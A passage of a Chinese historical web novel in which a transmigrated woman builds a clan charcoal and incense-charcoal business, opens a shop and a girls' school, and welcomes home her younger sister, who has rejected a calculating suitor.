枣儿村的枣树多,山里的槠树也算多,可这样两,都不是速生木。 加之这时的出炭率,若是不早早打算,寻速生木来烧炭,不论是枣树还是山里的槠树,其生长速度,都抵不住消耗的量。 其实桑木烧炭,并不是最佳,还是得桉木,成材快,出炭率高,桉木炭也比桑木炭耐烧。 可惜,上辈子的桉木是外来物,大虞朝不晓得有没有,可林真所在的地头,显然是没有的。 她只能退而求其次,寻此处常见的桑木。 青桑村的里正她晓得,原先盧老来帮着她姑养鱼时,这人就会背着手,理直气壮地凑过来。 东问西问,还会上手拉扯盧老去他那头的堰塘看。 可人忒小气,连茶水都舍不得招呼卢老一碗。 此次寻里正,林真早有预感,遂先提出换树苗,晓得他定然会拒绝;又退一步,提出以桑木来换木炭。 哪晓得,她还是低估了此人的贪婪,这样好的条件,居然还是没谈下来。 可没事儿,他人老眼盲心黑,他不愿意,有得是人愿意。 第93章 以桑木換木炭, 虽还作数,可林真这回没有恁大方了。 虽还是以十換一,可她有言在先:“姑父, 看在我姑的面子上,这木炭能给您家換,可我也只換与您家。此處里正不同意,咱多少得顾忌着里正的面子, 可不好张扬。” 劉元听得这话, 自觉面上有光, 拍着胸脯應下此事,放出话来,絕不教林真为难,教林家为难。 林真与林有文相视一笑, 当即便定下与劉家换木柴之事。 林真走的时候,林香莲背着人拉着她说话:“真姐儿, 你与姑说句实话。换木材一事, 你到底想不想换?若是不想换, 姑幫你盯着,絕不教你姑父在外头胡乱應下。” 林香莲撇撇嘴:“你姑父这人, 二两黄酒下肚, 再被人吹捧几句, 那是甚事儿都敢应下。不盯着他, 我怕他给你添麻烦哩!” 还得是親姑姑呀! 林真挽着她姑的手笑道:“您无需忧心,只要是厚道讲理的人家, 尽管教姑父答应便是。” 林香莲心里有数了,点头道:“你放心,我会瞧着他的。” “就是晓得有您幫着, 我才敢应下此事呢!” 与青桑里正的交谈,让林真晓得,主动找上门,与被人求着换,是不一样的。 棗儿村与青桑村之间换炭一事。 最开始是刘元一家,后头又带上刘家的几门親戚,再后来,又是刘家媳妇儿的娘家親戚。 端午那日,林屠户驾着车,带着桃枝、柳条、菖蒲叶和艾草,再有粽子、彩色水团和茶酒来青桑村走端午节礼。 车上大大方方敞着一筐木炭,教来来往往的村人都瞧在眼里。 自这日起,来寻林氏换木炭的人家,可就不单单是那十来户了,也不止是青桑村人,还有周边的村落也寻了来。 林氏这头,便收得了好些梨木、桃木、榆木、槐木等能出好炭的木材来。 这又是另一层惊喜了。 如此,像这样依托亲戚之名换木炭,竟是比与里正打交道来得还便利。 也是,此时的宗族亲戚关系連接紧密,只要有利可图,掰扯祖上八代,都能教人扯出一段亲戚关系来。 端午那日,平安崽子穿得花花绿绿,小褂子由红、蓝、黄、白、绿五色棉布剪裁拼接而成,并绣有蟾蜍、蝎、蛇、蜈蚣和蜘蛛的图案,露着藕节似的胳膊,連吃三个水团子才放了碗。 就这,吴麽麽还忧心:“唉,我这手艺到底不如燕姐儿,安哥儿没吃够五色的水团哩。” 平安崽子有一点很好,只要吃饱了,瞧见再喜欢的东西也不会闹着要吃,只会指挥着人帮他留着。 林真无奈,又从另外两色水团上各沾了一点儿馅,给平安崽子沾了沾唇,如此,也算全了端午吃五色水团,调和阴阳、祈求平安的意头。 平安崽子张嘴乖乖吃了,又摸着浑圆儿的小肚子道:“娘,饱饱,去看寶儿妹妹。” 他口中的妹妹是罗四娘春日里生下的女孩儿,大眼睛溜圆,肤色白皙,且极为爱笑。 不说沈家父子爱得如珠似寶的,便是林真见了,每每也要抱上一抱的。 先前托沈猎户带着林氏族人进山挖炭窑,那时罗四娘才出月子,沈山平不愿离家,他想留在家中照料罗四娘母女。 可罗四娘多要强,亲自给人收拾了行囊,将人赶出去。 “你留在此處作甚?家里雇了郑娘子照料我们母女,你若还不放心,再去真姐儿家一趟,请邹娘子时不时来瞧瞧我们母女俩便成。莫要作此小儿态,这是绝好的机会,若是能办成此事,咱家,可就与林氏彻底绑在一处了!” 罗四娘是吃够了孤立无援的苦楚,林氏一族風气不错,且燒炭一事,是天大的好事儿。 若不是真姐儿想着他们,哪里会教沈家这外姓人晓得燒炭一事? 真姐儿这样相帮,沈家便不能拖了后腿,必得尽心尽力,把这事儿当成自家的事来办! 沈山平此时缩在家里,像甚样子? 林真晓得后,亲去接了罗四娘来家里住。 “晓得沈家也是高墙大院儿的,可到底偏僻些。家里只有女子着实教人心中难安,便先去我家里住几月。家里地方宽敞,西边的小跨院儿原是只住了燕儿一人,她现不在家里,整好教你住进去,给屋子添添人气儿!” 罗四娘也不矫情,当即收拾东西住进了林家。 沈家那头,牲口棚也是另开了门的,还教林有田父子照料着,大门挂个锁头,留一只大黑狗看家,便不肖忧心。 罗四娘带着宝儿住进来后,最忙碌的要数平安。 许是没见过奶娃娃,平安崽子格外稀罕宝儿。 每日要往那头跑三四回,且回回都晓得给妹妹带礼物,竹風车、拨浪鼓、泥叫叫…… 甚都舍得,有一回,还教吴麽麽帮忙,吭哧吭哧拖着自家的小木馬去了西跨院,说是要给妹妹玩儿。 此时也不例外,昨儿林真从县里给带了布老虎来,今儿就带上了,牵着吴麽麽就往沈家走。 林真也乐意打发小崽子出门耍,前些日子她忙着燒炭一事儿,陪平安崽子的时间少,这小崽子便有些黏人。 缩在被窝里,要林真给穿了衣裳才肯起来:吃饭时,也要林真喂了才肯吃。 林真稀罕了几日便受不了了。 这崽子,从前分明是能喊她起床,也能自个儿舀着小碗吃饭的。 可林真也不想承认自个儿有些嫌弃过分黏人的崽子,只信誓旦旦地说:我要忙正事! 她要带着族里的女孩儿合香炭,怎么不算正事儿呢? 上好的棗木炭,放入石臼中锤碎,锤碎的棗木炭还要过筛,留下细如粉末的炭粉来。 “这一步,必得细致,炭粉越细腻,製成的香炭便更耐烧,且燃烧时不会出现炸火的现象。此等香炭,或是红泥小炉温酒煮茶,或是放入手炉捧在手里,若是劈里啪啦作响,煞风景事小,若是火星子溅出来,伤着人或是烧坏了罩子,那咱林氏的香炭,可就坏了名声了。” 女孩儿们齐齐应是,又一齐动手,专注得不得了。 林真瞧着这十三个孩子,嘴角含笑,心中满意。 可最开始,她是不满意的。 林氏起先只送了八个女孩儿来,最小的十二,最大的十五。 且人还多有理:“真姐儿,太小的孩子只能添乱;再大些的,没两年便嫁人了,也不好送来,族中适龄的女孩儿,也只有这些了。” 林真打眼一瞧,便晓得,这些孩子,是族中较为殷实的人家的女儿。 她心中冷笑,也不戳破:“成,那就这样。往后族中的姑娘,只要满十二,便都送到我这头来。合香炭也是个力气活儿,又还要格外细致,不是人人都能合成香炭的。我多教教,合适的留下,不合适的,另做打算。如此,有再多的人手,都不嫌多的。” 族老面色讪讪,有心想说几句,可到底没说话。 这些日子,有族人将分到手中的木炭拿出去卖,还真卖得了好價。又稍稍打听了香炭的售價,一问之下,直接教香炭的价格给惊得呆愣在原地。 在巨大的利益面前,族老再不好反驳林真,后头又送了五个女孩儿来。 是以,製香炭之事,这才拖到了端午过后。 木炭磨粉过筛后,林真拿出自家先前配好的香材,分到每个女孩儿手里。 女孩儿们郑重接过,又小心翼翼地,按照林真的提示,一点一点将香材混入炭粉之中。 林真这香材,沉香、安息香、乳香和龙脑香,她是一样买不起。 这些香料在前世都会教人觉着价格昂贵,更别说在此时了。 基本上,都是价比黄金的。 这,她哪里买得起? 她用的是黄丹、馬牙硝、胡粉,这是《香乘》中最簡单的方子。 不过,这样制成的香炭几乎无味。 若要教其增香,林真另有他法。 普通的香炭,是以上好的糯米当粘合剂,小火慢熬出胶的糯米,其粘性能将炭粉重新粘合起来。 而这一步,林真用新蒸的枣泥替代了一半的糯米,枣木已有微香,枣泥混入,制成的便是清淡的枣木香炭。 如此,便能大大降低香炭成本,且黄丹、马牙硝、胡粉,分别从药局和香料铺子采买,又有熝肉需要采买的大料,更加叫人捉摸不透她这香方。 混了糯米和枣泥的炭粉,能团成面团儿似的炭泥。 接下来便是炼泥,簡单来讲,就是使劲儿捶打炭泥。且一般来说,至少得连续不断地捶打一个时辰。 这是一个费时费力的过程,林真便教年龄小些的女孩儿两两接力。 经了炼泥这一步,能教炭泥性质更加稳定,这样韧性十足的炭泥,除了更耐烧之外,另一个好处,便是能塑型。 减少香材,香炭的味道已然差了一大截儿,若是在造型上不取巧,林家的香炭,如何能卖得上高价? 慈溪县繁华,糕点样式繁多,花糕的模具自然不缺。 林真细细琢磨一番,为符合此处文人雅士的口味,挑了梅花紋和如意海棠紋的模具来使。 前者简单,便是功夫不到家,稍稍差些的碳泥也能成型;后者复杂,要足够细腻的碳泥才能使得纹路纤毫毕现。 “不错,春草制如意海棠纹的。”林真笑着夸赞。 头次合炭,只这一个女孩手中的炭泥能制如意海棠纹的。 这是后来的五个女孩儿之一,家里精穷,药罐子的娘和瘸腿的爹。 可因着家里不算鳏寡孤独,年末族里分发的炭米是没有的。 每年冬日,对她家来说,是个坎儿。 “嗯!”春草瘦黑的小脸上迸发出灿烂的笑意。 林真又拍拍她,鼓励道:“今儿晌午给你加鸡腿儿!” 是真的加鸡腿,这些女孩儿来合香炭,是要包饭的。 前期的资金准备,林真和族中五五分,所得成品自然也是五五分。 按理说,她出方子,再教她出恁多钱,不合适。 林有文自然也提过,可林真不想留下隐患,只说是当为族中出力,只一点,此事必须得记录下来。 不是每年祭祖时的祭文,是要明明白白定下契来,并且写入族谱。 别误会,林真对入族谱没有执念,只是想保住自家对烧炭的绝对话语权。 不然,她累死累活,出钱出力,岂不是为他人做嫁衣? 原以为,这事有得扯,可哪晓得,这居然是最简单的事儿。 “你原就是招赘,你家自然是你当户主,再为你单开一页便成,这不算甚。” 原来招赘还有这好处呢? 第94章 林氏烧出来的炭, 次等的炭多是自留或者换与村人。 留下的,都是敲击有金属之音的无烟炭,这等好炭, 售价不会低,再有林真合出来的棗香炭。 注定要去宰大戶的。 绮戶微开曙色明,沉香火暖曉寒轻。[1] 一提到香炭,林真脑子里浮现的便是这句, 炭火微红, 暗香浮动, 炭香与书香交织,写尽冬日焚香读书之趣。 这是独属于文人雅士的冬日之乐,自然,这好炭也当賣与他们。 遇上伯乐, 才能賣个好价不是? 读书人聚集的地儿,有两處。 一是崇德坊和怀仁坊的交汇處。县学在那头, 那處多是笔墨纸砚、书肆、扇子鋪、字畫裱褙等鋪子。 可那處, 林氏挤不进去。 她将目光放在了西城门那头的七星桥下, 那处有一集市。 西门出去,有慈溪县香火最旺的寺庙——宝相寺。 寺庙向来不缺人文雅士, 且宝相寺不仅有精通佛法的高僧, 还占据了西山风景最好的一片地, 历来是富贵人家踏青、上香和游玩之地。 七星桥下的集市, 可就接地气得多,摆摊写信、占卜算命的、还有地摊儿古玩的…… 总之, 这处读书人多,可又不似县学那头严肃,倒是十分热闹。 “甚?一月两贯钱, 一年起赁,还得先付三个月的赁钱?”林氏族人忍不住惊呼出声。 林真倒是早有预料,虽此处鋪面比之长兴坊的鋪子,不论是大小还是在集市上的位置都要次些,可此处的热闹确实是长兴坊所不及的。 赁钱两贯,也算是市场价。 包经纪点点头,面上和气的笑容丝毫不变,道:“确实是这个价,客人若是觉着价略高些,不若去瞧瞧另一间铺子,那处要价低些。” 另一处铺子位置更偏,在最末那头不说,那处还临着新门河,潮湿得很,压根不适宜卖炭的铺子。 林有文也皱眉,回村五年,县里的物价涨得也教他惊讶。 不过他到底在县里当过账房,当下思索一番后,拍板定下此处。 林真暗自点头,林有文这新任族长,还算有魄力。 接下来,便是收拾铺子预备开張。 这些事儿,林真都没主动插手,只在族人询问时,帮着張罗一二。 这新铺子不能落在她名下,她自然无需事事包圓儿。开铺子的族人又不止她一人,没必要事事揽在身上,出风头。 她现只管着合香炭的事儿,其余的,都由着族长和族老做主。只定下三月一查账,且在族里公开账目的规矩来。 八月初八,林氏香炭铺,开张了。 铺子位置到底偏些,林真便在开张那日雇了一支杂耍队去,引了客人往那头走。 好教人曉得,此处新开张的铺子,是一间卖木炭的铺子。 炭这种能当官员俸禄发放的硬通货,价格就摆在那儿,但凡不是离谱定价,店家懒怠的铺子,木炭是不愁卖的。 且铺子里又有比市面上的香炭便宜许多的棗香炭,也是一吸引客人的好货物。 棗香炭的价格是林真定下的,连招呼客人的话术也是她教的。 “客人,不瞒您说,这枣香炭,与市面上常见的香炭不一样。名贵的香料用得少些,烧出来的香味儿,也是清新淡雅的枣儿香。是以,咱这定价便要便宜些,可炭是好炭,无烟不说,又耐得住烧,且一点儿不炸火星子的。” 小伙計热情又实在,年轻的面孔上,不见商人的圓滑,反而透着一股子实诚。 来人见了,十有八九,便会买上一些枣香炭回去。 林家的香炭是好货,用着好了,人自然就成了回头客。 花些小钱,便能得滿室盈香,温酒煮茶会友,岂不妙哉,美哉? 林氏香炭铺,就此在七星桥这头站稳了脚跟。 铺子里的伙計是林家人,晓得这炭火铺是族中的命根子;更晓得,这关乎年底算账时,自家能分得多少银钱。 一个个儿的,自是用了十成的心。 林家的族学辦了恁久,族里年轻后生经了教導自然去了胆怯之色。 且他们几个又是族中选出来的伶俐人。 林真敢说,整條街上,就没有比林氏香炭铺更用心殷勤的伙计了。 如此,第一季度结算时,香炭铺的收入,着实教大多数只能地里刨食儿的林氏族人,惊得目瞪口呆。 “乖乖,这才三个月,竟比俺们一年种地都賺得多?难怪都说商人賺钱呢!” “嘿,是赚钱,可若是教俺去铺子里守着,与圆领袍的富贵人打交道,俺怕是话都不会说了。” 这是自家小子被选去铺子里当伙计了,在暗戳戳炫耀呢! 可人确实没说错,庙会他们也是去的,可往七星桥那头的铺子里去,那是再没有的。 “是,还得是要读书识字,族里的小子们识字后,是不一样哈!” “呵呵,是啊,咱这族学辦得是真好!” …… “甚?教族中的女孩儿们也读书?”族老们眉头直跳,张嘴想驳,可瞧着单独做账的枣香炭,又着实说不出话来。 细细算来,枣香炭虽量少,可赚得银钱居然不比寻常木炭差多少。 这香炭,可是林真带着族中女孩儿单独制成的。 林真端着茶盏子,四平八稳道:“如何不能?读书的好处不用多说罷?铺子里的小子们机灵,多是赖着有先生费心教導。若是族中女孩儿有老師教导,照样不差。 再说了,铺子里买香炭的有不少是女客,添个女孩儿去专专招待女客,也更周到。” 前头还统一皱眉的族老,有些个儿,不说话了,心里琢磨着。 自家孙女儿合香炭不成,可人机灵呀!去县里守铺子也好,轻松许多,还能得一笔工钱呢! 林真先前劝走了一批不适合制香炭的女孩儿。 此时,整好教族老们,没法儿站在一处来反对她。 “也好,可这事儿急不来,女孩儿的教养轻忽不得,塾師必得好好儿打听。再有,咱还得新建了屋子不是?慢慢儿来罷。” 这是使用拖字诀的族老。 林真一笑,点头道:“是,教导女儿着实是件大事儿。可咱林氏运道好,岑大夫荐了位老师来,岑大夫的人品,诸位都是瞧在眼里的。她荐来的老师,必是有真本事儿的。” 族老一噎,搬出岑大夫来可不好再直言拒绝了。 靠谱的大夫不好寻,岑大夫荐来的人,怎么着儿,也得给几分面子。 可他还不死心,又道:“那这屋子也得新建,总不好教岑大夫的友人住黄泥茅草屋罢。” “族老考虑得甚是周全。”林真一笑,似乎是在心底思量了一番,最终才道。 “这样,便先住我家那头的老宅子罢。岑大夫开口了,咱推三阻四的,倒是显得我林氏行事小气。至于新屋子,咱林氏人多又心齐,等这一阵儿忙过去,便起三间屋子来,料子先备齐好,应当一两月便能成罢?” 开口的族老被噎得说不出话来。 孙女儿被劝退的族老此时开口: “我看成!真姐儿既愿意借出好屋来,那咱便去请了岑大夫的友人来好生教导族中女孩儿。女孩儿嫁得好了,立住脚,不也是助力麽?此番换木材,香莲不就帮衬许多麽?” 林真端着茶盏,掩住了嘴角的笑,成了。 如此,林氏又定下一件大事儿来。 岑大夫的友人姓关,她也只教人唤她作关娘子。 关娘子从前也是在县里教富贵人家的女孩儿的,只不过与仇娘子不同,她手中更要拮据些,没自个儿开馆,是教人聘到家中去的。 如此,便多有不便。 是以,当岑大夫写了信问她是否愿意往枣儿村来时,早已心生退意的关娘子便辞了聘她的富户,来与岑大夫作伴。 关娘子也是滿身的书卷气,可与仇娘子相比,又要更圆滑些。 对林真收拾的住处,她一点儿没挑剔,笑盈盈道谢。 只又请人移了两丛细竹来,又将自个儿行囊中的一串风铃挂上,便住了下来。 很是随遇而安的模样。 且关娘子对于安排课程也不独断,自个儿先写了单子来寻林真。 “我不擅琴棋书畫,香道点茶更是不会。我只教女孩儿们认字算账,三节走礼及人情往来。如此,娘子觉着可行?” 林真点头:“人情往来已是极难,关娘子如此,再适宜不过。” 如此,林氏的女子学堂便开课了。 女子学堂的经费自然不如族学,林真也没多说,先是教女孩儿们用打湿的细沙来习字,可到底字迹不甚清晰。 后头瞧着炭粉,一拍脑袋,搓了炭條儿出来。 炭条拿布头裹住,又直接刷白了一面墙,先教女孩儿们在墙上写字。 待后头手熟了,再买了毛笔竹纸来写。 石灰刷墙,可比买纸笔省钱多了。 唯一不好的,是教平安崽子这小学人精学去了。 他还晓得先问一句:“娘,我能在墙上畫花儿麽?” 林真瞧着小崽子已然捏在手里的炭条儿,还能怎么办呢? 她领着人,指着一面墙:“能,但是只能在这儿写。” 平安崽子点点头,小手一伸,白墙上已是一道黑,他乐得嘎嘎笑。 可小崽子有人惯着,他的大作,从东跨院的一面墙,到了林屠户住的主屋,再到西跨院。 甚至,已不满足于只画给家里人看,他要画到外头去! 这日,平安崽子捏了炭条蹲在门口‘作画’。 忽而听得有一柔和的声音问道:“哇,这是谁家的小画师呀?” 平安崽子一乐,仰头笑道:“娘亲爹爹,家的!” 第95章 “你在此处, 等等,不要走动,我去唤了娘親来。” 平安将小黑手一背, 竭力装出一副大人模样来。 边上跟着的水生也不大識得燕儿了,在一旁跟着点头:“客人,请稍等。” 他这是瞧着前两日大壮哥招呼来访的客人,现学的。 “撲哧!”燕儿没忍住, 笑出声儿来, 在平安有些谴责的眼神下, 赶紧憋住,点点头,“我定然不会胡乱走动。” 瞧着一大一小俩人,迈着小短腿颠颠儿跑走, 眉眼都是笑。 真好,她回家了。 “娘, 门口来了个好看的姐姐, 说是我们家的呢!”一气儿跑到制香炭那头的屋子, 平安崽子再忍不住,一头撲进林真懷里, 眼睛亮晶晶的。 “我们家, 何时有这样好看的姐姐?” “嗯嗯!”水生使劲儿点头, 证明小崽子的话没错。 林真听得直皱眉, 她家的好看姐姐?甚乱七八糟的。 交代了合香炭的女孩儿们一声,林真牵着小崽子出门去。心里直嘀咕:不会又是甚八竿子都打不着的親戚罷? 林氏现今烧炭, 又办了男女学堂,在十里八乡的,也算是有几分薄名儿。 这几分薄名, 在族中子弟头回下场考试,居然有三位后生过了县试后,彻底传扬开来。 谁都想将自家小子送往林氏学堂来。 可林氏早早有言在先:林氏子弟,适龄者皆入学。若有空餘,才招收外姓子弟。 可那学堂只摆了四十張桌子,林氏适龄者,便要占去大半,剩餘的十来个名额,怎够? 是以,为着这十来个名额,找上门来与林家攀親戚的,多得很。 其中又以族长和林真家里最甚。 苗娘子恁不爱出门的一个人,现今日日都去县里守铺子。 着实是不堪其扰。 是以,抱着应付麻烦的心态走来的林真,在瞧见门口熟悉的身影后,双倍的喜悦冲上心头。 “燕儿!” “阿姐!” 刚还站得如翠竹般挺拔的少女,乳燕投林似的,扑进了林真的懷里。 平安崽子跟在后头,瞧得一愣一愣的。 这人,怎么往娘親怀里扑啊! == “苗娘子在县里守铺子,今儿家里清塘,爹爹和你姐夫都在堰塘那头,邹娘子和吴麽麽去那头張罗饭食去了。”林真拿着笤帚帕子,和燕儿一同打掃屋子。 “哎呦,不是来信说,今年从润州那头走,要经了常州、嘉兴和临安,才家来麽?我还当你今年过年又回不来了,屋子都没收拾利索呢!” “哪有,我瞧屋子里样样俱全,只些许灰尘。定是家里人时常打掃着的,现也只需扫去些许浮灰就可住人,阿姐还哄我呢!” 燕儿瞧着屋子里的摆设,还是与她離去时一样,似乎这里的人从未離家。 不,还是不一样,屋子里添了精巧的熏笼和手炉。 “真没事儿瞒着?”林真不信。 先前的信件,字里行间全是对登名山,访古寺,观名家之作的向往;对了,还炫耀自个儿能品得鲥魚之鲜。 怎会这时候家来? “我从洞庭带来的好朱橘,再不家来,怕是种不活了。” 燕儿一低头,瞧见从刚才开始,就皱着细軟的小眉头跟着阿姐进进出出的崽子,起了逗弄的心思。 “这不,家里人都不識得我了,我还不早早归家呀。阿姐,今儿你与我一道睡罷?咱许久未见,说说知心话。” “不行!”林真还没应呢,平安崽子先冲出来。 他盡力张开短短的小胖手,将林真护在身后,皱着眉道:“你是大人了,不能,跟娘亲,一道睡。” 林真忍着笑,也去逗孩子:“哦,那平安也是大孩子了,是不是也不能跟着爹爹娘亲一道睡呢?” 平安崽子每日辰初(7点)便起,自个儿起来了不算,还会十分熱心的将赖床的娘亲唤醒。 林真实在受不了。 她好不容易将铺子里的人都培养出来,能稍稍当一当甩手掌柜了,加之冬日里日头不好,合香炭的事儿也清闲了不少。 正是冬日好眠的时候,哪晓得,还会被自家崽子强制开机! 她遂伙同贺景,哄小崽子分床睡,也不远,就教他住隔斷里。 虽用落地罩隔开,又挂了帘子,可还是在一个屋子里,只是能从距离上打斷平安崽子的叫醒日常,教贺景及时抱走小崽子,让林真能赖会儿床。 可哪晓得,平安崽子双标得很。 要吃大人碗里的東西了,就说自个儿是大孩子;等爹娘要与他分床睡了,就仰着头,说自己才两岁,还小小。 现在,每每是贺景醒了,先将小崽子抱去隔断的小床上,估摸着时间,又来打断他的叫醒日常。 总之,平安崽子,还是没与爹娘分床睡。 此时听见娘亲如此,正要翘起两根儿小指头,提醒娘亲自个儿的年龄。 忽而听得娘亲又说:“哎呦,今儿要给姑姑接风,吃羊肉锅子和糖蒸酥酪,这些東西,小孩子可不能多吃。” 燕儿在一旁补充道:“还有,还有,姑姑新学的滴酥鲍螺,入口即化,醇香绵密。好吃得很,是江宁那头十分有名的点心呢!” 然后,姐俩都瞧见了,平安崽子的两跟儿小胖指头,默默的,默默的,缩了回去。 “哈哈哈!” 两人都爆发出一阵儿大笑。 晚间,家里人聚在一处自然又是好一阵儿熱闹。 苗娘子不错眼地盯着燕儿,拉着女儿的手不放:她的燕儿,竟长成了这等教她不敢认的模样。 热闹过后,众人便各自回自个儿院里去。 燕儿也在平安崽子的‘盯梢’下,与苗娘子回了西跨院。 == 林真伸手轻推眼睛一睁一闭的小崽子:“怎还不睡?” 这崽子的作息一向规律得不得了,往常这个时候,他早早便盖着小被子睡得像个小猪崽子似的了。 “我,不困!”平安崽子努力睁大眼儿,还伸手拍拍林真,就像从前林真哄他睡覺那样。 “乖乖,娘,睡覺。” 林真哭笑不得,心里軟软酸酸的,她楼过平安,像他还是那个可以一把抱起来的小宝宝一样,一边轻拍,一边微摇,口中柔声道。 “乖崽,娘亲哪儿都不去,就陪着平安。” “不去,姑姑那儿。” 小崽子半梦半醒,可还是含糊着出声儿。 “不去,娘陪着平安啊。” 林真又接着道:“那是平安的姑姑呀。姑姑抱过你,给你换过尿戒子,你最喜欢的那套十二生肖的小布偶,就是姑姑给你做的呀。还有,姑姑从前还给你煮肉糜粥,蒸蛋羹吃呢。” “姑姑,吃……” 平安崽子,终于睡着了。 贺景凑过来,问道:“可睡熟了?我来抱。” “快快快,手麻了!”林真木着脸,这崽子,真的是个实心儿崽! 翌日,晚了二刻钟的平安崽子悠悠轉醒,发觉自个儿没被抱去小床上,一下子高兴极了。 又瞧见娘亲还在,咯咯笑出声儿来,凑近了林真,在林真怀里拱来拱去。 林真被迫轉醒,一把抱住平安,道:“崽啊!咱真的不能晚点儿起麽?” “咯咯咯,哇呜哇呜……” 回答她的,是平安崽子兴奋的吱哇乱叫。 朝食,一碗肉沫豆腐羹,教平安崽子吃得头都不抬。 燕儿瞧着他的小油嘴,笑道:“姑姑烧的豆腐可好吃?” “嗯!好吃!”平安崽子大多时候,是个公正的崽。 是以,虽还是介意这个与自个儿抢娘亲的姑姑,可还是重重点头,并且大方夸奖。 他竖起大拇指来,像往常家里人夸他那样,大声道:“姑姑,厉害!” 就这样,在美食攻势下,平安很快就接受了这个好看的姑姑,可人还是小气,私下里对燕儿说:不能跟平安抢娘亲,就算要跟娘亲睡,那,那也得带着平安! 把燕儿逗得直乐,又十分稀罕这崽子,将平安搂在怀里好一通搓揉。 这日,林真盘了香炭的账本儿,照着《香炭绩效考核表》给女孩儿们发月钱。同时,也告诉她们,今年合香炭一事,就到今日。 “都回去好生歇着,明年日头好了,咱再开工啊!” 事情都料理顺了,林真踱着步子进了西跨院儿。 燕儿正在整理她的游记,见了林真来,一把拉她坐下。 “阿姐整好来瞧瞧,我这游记可还行。” ‘慈溪始发,陆路或渡口乘船,先至明州。此处青瓷甚美;又有黄魚裹盐晒干,制黄鱼鲞,可运。’ ‘明州西门,乘船沿浙东运河西行,先经余姚后至越州。越州物甚丰,有越罗、会稽纸、日铸茶、黄酒……’ 林真虽是匆匆一看,可也晓得,燕儿定是拼盡全力去记,去打听的。 这还是在与仇娘子和同窗一同行动,不好自个人单独行动的途中,其中所废心血,可见一般。 林真叹气:“还真记了啊?” “自然!”燕儿眼睛亮晶晶,仰头看着林真,“游学所废颇多,能为阿姐记录一番各处特产,只是小事。” 她把头靠在林真肩上,还像小时候那样撒娇:“晓得阿姐当时只是为宽慰我,可我终于能为家里略尽绵薄之力,不觉辛苦,只觉高兴!” 林真第一回 给燕儿送交子时,收到回信,一眼便瞧出这丫头的不安。 便在信中写道:这是大好的机会呀!一路出行,不仅晓得如何坐车如何乘船又会行经何处。长见识,认得路不说,还能去打听当地特产,将来给铺子里添尖儿货,一举多得!去,尽管去,只要仇娘子不撵人,尽管去! 当时是宽慰之举,哪里晓得,还真教燕儿写下这样一本采购指南,不,风物志来? 林真点点头,不吝夸奖,而后话锋一转:“说说罢,怎就这时候家来了?” “果真瞒不过阿姐。” 燕儿伸手搂着林真,语气轻松,道:“也没甚。就是忽然有了心上人,可又惊觉他实在不堪。整好肖姐姐要家来,我便一同回来了。”—— 作者有话说:久等了,本章会随机掉落小红包哦^-^ [红心][黄心][橙心][绿心][蓝心][紫心] 第96章 孩子早恋怎么办? 瞬间浮上心头的, 只有这一个念头。 可林真偏过头仔细一瞧,燕儿已十五,俏生生, 亭亭玉立如夏荷如翠竹。 这个年纪,放在前世学校要严防早恋;可若是放在此时,该要暗中相看人家早早开始备嫁妆了。 林真有些恍惚,道:“那, 你可傷心?”她没忘记, 燕儿说那啥心上人, 不堪。 怎么办?这种年少时的情愫最是麻烦,她该说些甚来安慰燕儿呢? 燕儿扑哧一笑:“阿姐,我为何要傷心?卑鄙之心,小人行径的皆是他。我虽对其有好感, 可能在用情未深之时,察觉其不堪, 曉得他非良人。” 燕儿面上的笑容不似作伪, 语气还挺欢快:“这是喜事儿啊!” 那人是仇家远親, 身上有个秀才功名,可家境艰难, 要想读书实在是天方夜谭。 他便借着几分親戚名儿, 投了仇大人, 入了钟山住院繼续读书不说, 又在书院里谋一差事来补贴已身。 人也善交际,逢年过节都会往仇府走动一番。 虽不一定能见着仇大人, 可他携了礼,当親戚走动,至少是能入仇府喝上一盏子清茶的。 燕儿就是随着仇娘子在仇府借住的那段时间, 碰上了他。 “现在想来,兴许咱们之间的相遇,都是他费心筹划的。”燕儿笑了笑,“不然,为何偏偏是我?肖姐姐不必说了,早有婚约在身;可汪姐姐呢?溫柔可親,家里又是有名儿的富商,跟着老師的日子也长。细论起来,可比我好。” 林真挑眉:这人若是只比燕儿年长些许就考中秀才,也算得上是一句少年英才。怕是瞧不上汪家女孩儿商户女的身份罢? 燕儿还在说,声音和缓,不闻喜怒。 “想来是介意汪姐姐的身份。既想借着婚事得妻族钱财助力,又想借着仇娘子学生的身份与仇家的关系更进一步,倒是打得一手的好算盘。 姻亲之事,大抵都要挑剔考量的,这也是人之常情。若是大大方方说出来,我倒也敬他坦荡。” 说到此处,燕儿嗤笑一声:“可偏偏,一邊说着是倾慕我,一邊却悄悄打探我家资几何!这不是心口不一的小人行径是甚?利害都考虑清楚了,又帶着滿心的算计接近我,哄骗我!口中还全是些高洁谦逊之语,当真是不堪得很!” 要名要利还要情,既要又要还要,确实是算盘珠子都蹦脸上了! 林真拍拍燕儿,夸道:“还好我家燕儿聪慧,没叫这等小人哄骗了去!咱不生气哈,天下男子多得是,你还小,咱不急,慢慢儿挑就是了。” 她没说出不用嫁人这样的话来,在这个时代,不现实。 燕儿靠着林真笑:“阿姐放心,一开始是有一点点伤心的。” 她伸手比出一点点距离,强调道:“只有这一点儿。可后来经得老師开解,曉得了为情所困最是嗔痴。将时间与情感倾注在此等小人身上,着实不值。有此伤春悲秋的时间,还不如多写些游记来得痛快呢!” 林真瞧着燕儿,只觉着这女孩儿陌生又坚韧,她点了点燕儿:“拿得起放得下,好燕儿!” 仇娘子这学费,缴得真真值! “幼时得阿姐言传身教,后来又得老师悉心指导。若是不厉害一些,岂不是愧对亲友师长的栽培?” 燕儿是真没事儿了,她抱着林真的手臂摇了摇。 “阿姐现下该放心了罢?咱便不说那些无益之事。来瞧瞧我写的游记,可有适合添在铺子里售卖的新货?寒冬腊月里不好行路,年后气溫回升,不论是陆路还是水路都可行,阿姐想好了麽?” 林真细算一番,才道:“来年开春,由你帶队,往越州去,来去皆走水路。按你所记,去时逆流需七日,返程时顺流而下,只需五日左右。再加上采买装货,走一趟,應当一月即可。” “嗯?”燕儿很是惊诧,“阿姐不自个儿去麽?我以为,是你带人的,我怎能……” 林真笑道:“这是怎的了?这些路都是燕儿走过的呀,咱再托了申娘子护送。你不曉得罢?申娘子组了一支女子镖师,已接过不少或是送货或是护人探亲的委托,在咱慈溪也算有几分名气。阿姐与她有旧,再请了秋英一道去,定然能护着你的。” “不是,我不是这个意思!”燕儿赶忙摆手,纠结一会儿还是轻声道,“阿姐,不是一直很想出去看看的麽?” “是啊,我很想。”林真一叹,她前世登过高山,渡过大河,去了很多她想去的地方。 